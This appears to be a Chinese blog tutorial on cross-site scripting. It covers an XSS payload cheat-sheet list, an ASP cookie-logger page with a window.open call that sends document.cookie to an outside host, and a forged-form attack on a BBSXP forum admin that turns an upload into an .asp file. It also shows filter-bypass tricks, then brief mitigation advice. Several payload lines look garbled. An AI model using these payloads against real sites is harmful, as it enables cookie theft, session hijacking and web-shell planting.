浅谈Cross Site Script攻击

引言
本文是我以前工作中的一个学习报告,当时头说跨站在渗透中非常重要,不过那个时候真的很少用到,多是注入、代码逻辑领导等等。后来记忆比较深刻的是利用XSS+跨域取值的成功应用了XSS强大之处,由于篇幅问题将原学习报告删减了部分。
什么是跨站
跨站(Cross-Site Scripting),是攻击者在远程页面中写入了含有恶意代码的数据,用户认为该页面是可信任的,当浏览的时候本地浏览器就会执行其中的恶意脚本,而这 个‘行为’就是当前最为流行的web安全漏洞之一,这个行为通过我们的脚本语言,如JavaScript或者VBScript来达到这样的目的,本文以 JavaScript为基础的,在简要的掌握了脚本基础后,才能更深入的理解跨站含义,形成原因、条件、构造。如以下的一些常见的语句:
<IMG SRC=\'#\'" /> <IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=\'#\'" /> <IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
<SCRIPT/XSS SRC=\'#\'" //example.com/xss.js”></SCRIPT>
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE=”IMAGE” SRC=\'#\'" /> <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert(“XSS”)>
<IMG DYNSRC=\'#\'" /> <IMG DYNSRC=\'#\'" /> <BR SIZE=”&{alert(‘XSS’)}”>
<IMG SRC=\'#\'" /> <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<?=’<SCRIPT>alert(“XSS”)</SCRIPT>’?>
<A HREF=”javascript:document.location=’http://www.example.com/’”>XSS</A>
<IMG SRC=javascript:alert(‘XSS’)>
<EMBED SRC=\'#\'" //ha.ckers.org/xss.swf” AllowScriptAccess=”always”></EMBED>
a=”get”;
b=”URL(“”";
c=”javascript:”;
d=”alert(‘XSS’);”")”;
eval(a+b+c+d);
我们从其中可以看出,其实形成XSS的条件或者说是方法有很多,简单的说就是只要能够执行脚本代码的地方就存在跨站漏洞,例如在元素的属性等。
如何利用跨站
跨站存在的地方往往在于动态交互的地方,例如留言本、搜索框、论坛等地方,都是存在几率比较高的地方,形成的一些损失主要是如下几种
1.cookie窃取
<%
testfile=Server.MapPath(“cookie.txt”)  //设置一个文件名和路径
msg=Request(“msg”)  //对返回的数据进行赋值给msg
set fs=server.CreateObject(“scripting.filesystemobject”)
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(“”&msg& “”)  写入到这个文件
thisfile.close  关闭文件
set fs = nothing
%>
这是一个我们写的存cookies的asp页面源码,将接受的cookie全部存储在cookie.txt文件当中,在跨站语句中我们可以写入
window.open(‘http://www.mysite.com/filename.asp?msg=’+ document.cookie),当用户访问后将会把对方的cookie信息保存在我们的cookie.txt文件之中,通过cookie我们可以得到 管理员权限、访问用户资料等,根据同源原则,我们可以通过cookie信息访问获得对方的权限
2.模拟攻击
我们也可以直接通过欺骗管理员进行一些操作,例如
http://127.0.0.1/bbsxp/page2.asp?username=<body onload=”javascript:document.forms[0].submit()”>
<form action=”http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf” method=”post”>
<input value=”/UploadFile/日期/200512365.jpg” name=”yl” >
<input value=”database/haha.asp” name=”bf” >
</body></html>
上面是关于以前的一个bbsxp的一个跨站漏洞,当用户访问了
http://127.0.0.1/bbsxp/page2.asp?username=<body onload=”javascript:document.forms[0].submit()”>这个页面的时候,将会提交数据,提交的信息在如 下说明了,这个脚本会自动把/UploadFile/日期/200512365.jpg备份成database/haha.asp,也就是说我们可以通过 脚本让管理员执行一些对方不想执行的过程,而这个操作可能是具有高度危险性质的,当然这个过程我们可以隐藏起来。
3.反射(Reflection)攻击
此攻击模式是在input中输入信息来构造攻击语句,例如我们有这样的一个页面
<%
Response.Write(“Hello world! “)
Response.Write(Request.QueryString(“test”))
%>
这个页面非常简单,我们通过一个数据提交表单(test)提交后将会在新的页面显示hello word!‘数据信息’,这里的数据信息是我们提交的内容,当我们提交一些不常规的数据的时候,例 如:<scirpt>alert(document.cookie)</script><body>的时候就不一样 了,那么我们的请求就是http://siteadd/数据页面.asp?test=<scirpt> alert(document.cookie)</script><body>,这样我们的页面中就插入了攻击代码,当然这并不 是唯一的,还有其他的几种这里就不一一列举了,我们提交的代码当然可以经过多种加密,用户就无法识别,前提是我们的web浏览器可以识别您的加密后的代 码。
4.元素炸弹
我们对提交数据一般验证比较严格,不过我们还可以从一些网页元素上下手,例如这样的一个语句:
<img onerror=j/**/a/**/va/**/scr/**/ipt:aler/**/t(docu/**/ment.co/**/oki/**/e)
我将代码中插入/**/这样语句,为了便于识别,没有再次的进行编码转换,其实我们在某些时候可以修改元素或者提交这样的信息来达到最终效果,应该在DOM中,元素是可以运行javascript脚本的,所以称之为元素炸弹,而且还是一个不定时的危险品。
关于以上几种不一样的方法,只是简单的描述,跨站攻击的表现形式远远不只这几种,应该说只要能想到的,XSS都能够实现,不过是没有发现实现的方式而已, 另外我们在查找漏洞过程种主要在用户输入代码的地方有没有对数据进行”〈”,”〉”,”;”,”’”等字符是否做过滤,还有要注意的是对于标签的闭合。
对于一些过滤过的字符,我们可以尝试通过多种方法来实现我们的目的,例如字符转换,或者改变的构造语句,来绕过其过滤,例如程序过滤了 javascript,我们可以写作java/**/script或者一些其他的写法,这样可以帮助我们更好的验证它是否存在跨站攻击的可能。
如何解决
目前不少的大型网站都存在或多或少的跨站漏洞,我们应该高度重视跨站的这个问题
我们在做安全措施应该考虑到一下几个方面:
1.尽可能的检查所有产生动态页面的代码
2.对动态页面的内容检测是否有非安全信息的输入
3.对输入输出的信息进行过滤或者编码转换等

你可能感兴趣的:(职场,休闲,跨站)